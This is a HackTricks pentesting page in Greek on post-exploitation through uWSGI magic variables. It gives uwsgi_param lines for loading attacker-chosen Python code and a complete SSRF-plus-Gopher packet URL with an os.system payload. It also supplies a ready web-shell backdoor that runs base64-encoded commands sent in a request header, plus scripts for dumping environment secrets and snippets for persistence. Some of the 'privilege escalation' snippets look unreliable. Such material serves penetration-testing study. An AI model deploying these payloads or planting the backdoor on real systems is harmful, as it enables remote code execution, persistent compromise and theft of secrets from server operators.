WSGI Post-Exploitation Tricks

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση WSGI

Το Web Server Gateway Interface (WSGI) είναι μια προδιαγραφή που περιγράφει πώς ένας web server επικοινωνεί με web εφαρμογές και πώς οι web εφαρμογές μπορούν να αλυσοδεθούν για να επεξεργαστούν ένα αίτημα. Το uWSGI είναι ένας από τους πιο δημοφιλείς WSGI servers, που συχνά χρησιμοποιείται για την εξυπηρέτηση Python web εφαρμογών.

uWSGI Magic Variables Exploitation

Το uWSGI παρέχει ειδικές "magic variables" που μπορούν να χρησιμοποιηθούν για τη δυναμική διαμόρφωση της συμπεριφοράς του server. Αυτές οι μεταβλητές μπορούν να οριστούν μέσω HTTP headers και ενδέχεται να οδηγήσουν σε σοβαρές ευπάθειες ασφαλείας όταν δεν ελέγχονται σωστά.

Κύριες Εκμεταλλεύσιμες Μεταβλητές

UWSGI_FILE - Arbitrary File Execution

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Αυτή η μεταβλητή επιτρέπει τη φόρτωση και την εκτέλεση αυθαίρετων αρχείων Python ως WSGI εφαρμογές. Εάν ένας επιτιθέμενος μπορεί να ελέγξει αυτήν την παράμετρο, μπορεί να επιτύχει Remote Code Execution (RCE).

UWSGI_SCRIPT - Φόρτωση Script

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Φορτώνει ένα συγκεκριμένο script ως νέα εφαρμογή. Σε συνδυασμό με δυνατότητες μεταφόρτωσης αρχείων ή εγγραφής, αυτό μπορεί να οδηγήσει σε RCE.

UWSGI_MODULE και UWSGI_CALLABLE - Δυναμική Φόρτωση Module

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Αυτές οι παράμετροι επιτρέπουν το φόρτωμα αυθαίρετων Python modules και την κλήση συγκεκριμένων συναρτήσεων μέσα σε αυτά.

UWSGI_SETENV - Χειρισμός μεταβλητών περιβάλλοντος

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Μπορεί να χρησιμοποιηθεί για την τροποποίηση μεταβλητών περιβάλλοντος, ενδεχομένως επηρεάζοντας τη συμπεριφορά της εφαρμογής ή φορτώνοντας κακόβουλη διαμόρφωση.

UWSGI_PYHOME - Python Environment Manipulation

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Αλλάζει το εικονικό περιβάλλον Python, ενδεχομένως φορτώνοντας κακόβουλα πακέτα ή διαφορετικούς διερμηνείς Python.

UWSGI_CHDIR - Directory Traversal

uwsgi_param UWSGI_CHDIR /etc/;

Αλλάζει τον τρέχοντα κατάλογο πριν την επεξεργασία των αιτήσεων, κάτι που μπορεί να χρησιμοποιηθεί για path traversal attacks.

SSRF + Gopher to

The Attack Vector

Όταν uWSGI είναι προσβάσιμο μέσω SSRF (Server-Side Request Forgery), οι επιτιθέμενοι μπορούν να αλληλεπιδράσουν με το εσωτερικό uWSGI socket για να εκμεταλλευτούν magic variables. Αυτό είναι ιδιαίτερα επικίνδυνο όταν:

  1. Η εφαρμογή έχει SSRF vulnerabilities
  2. Το uWSGI τρέχει σε εσωτερική θύρα/socket
  3. Η εφαρμογή δεν επικυρώνει σωστά τα magic variables

Το uWSGI είναι προσβάσιμο λόγω SSRF επειδή το config file uwsgi.ini περιέχει: socket = 127.0.0.1:5000 κάνοντας το προσβάσιμο από την web εφαρμογή μέσω SSRF.

Exploitation Example

Βήμα 1: Δημιουργία κακόβουλου payload

Πρώτα, εγχύστε Python code σε ένα αρχείο προσβάσιμο από τον server (file write μέσα στον server, η επέκταση του αρχείου δεν έχει σημασία):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Βήμα 2: Δημιουργία αιτήματος πρωτοκόλλου uWSGI

Χρησιμοποιήστε το πρωτόκολλο Gopher για να στείλετε raw πακέτα uWSGI:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Αυτό το payload:

  • Συνδέεται στο uWSGI στην θύρα 5000
  • Ορίζει την UWSGI_FILE ώστε να δείχνει στο κακόβουλο αρχείο
  • Εξαναγκάζει το uWSGI να φορτώσει και να εκτελέσει τον κώδικα Python

Δομή Πρωτοκόλλου uWSGI

Το πρωτόκολλο uWSGI χρησιμοποιεί δυαδική μορφή όπου:

  • Οι μεταβλητές κωδικοποιούνται ως συμβολοσειρές με προθέμα μήκους
  • Κάθε μεταβλητή έχει: [name_length][name][value_length][value]
  • Το πακέτο ξεκινά με μια κεφαλίδα που περιέχει το συνολικό μέγεθος

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Στη συνέχεια, χρησιμοποιήστε UWSGI_FILE για να φορτώσετε αυτό το backdoor:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Persistence βάσει περιβάλλοντος

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Αποκάλυψη Πληροφοριών

Εξαγωγή Μεταβλητών Περιβάλλοντος

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Πρόσβαση στο Σύστημα Αρχείων

Χρησιμοποιήστε UWSGI_CHDIR σε συνδυασμό με την εξυπηρέτηση αρχείων για να αποκτήσετε πρόσβαση σε ευαίσθητα αρχεία:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

Εάν το uWSGI τρέχει με αυξημένα προνόμια, οι επιτιθέμενοι μπορεί να χειριστούν τα socket permissions:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Αντικατάσταση Διαμόρφωσης

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks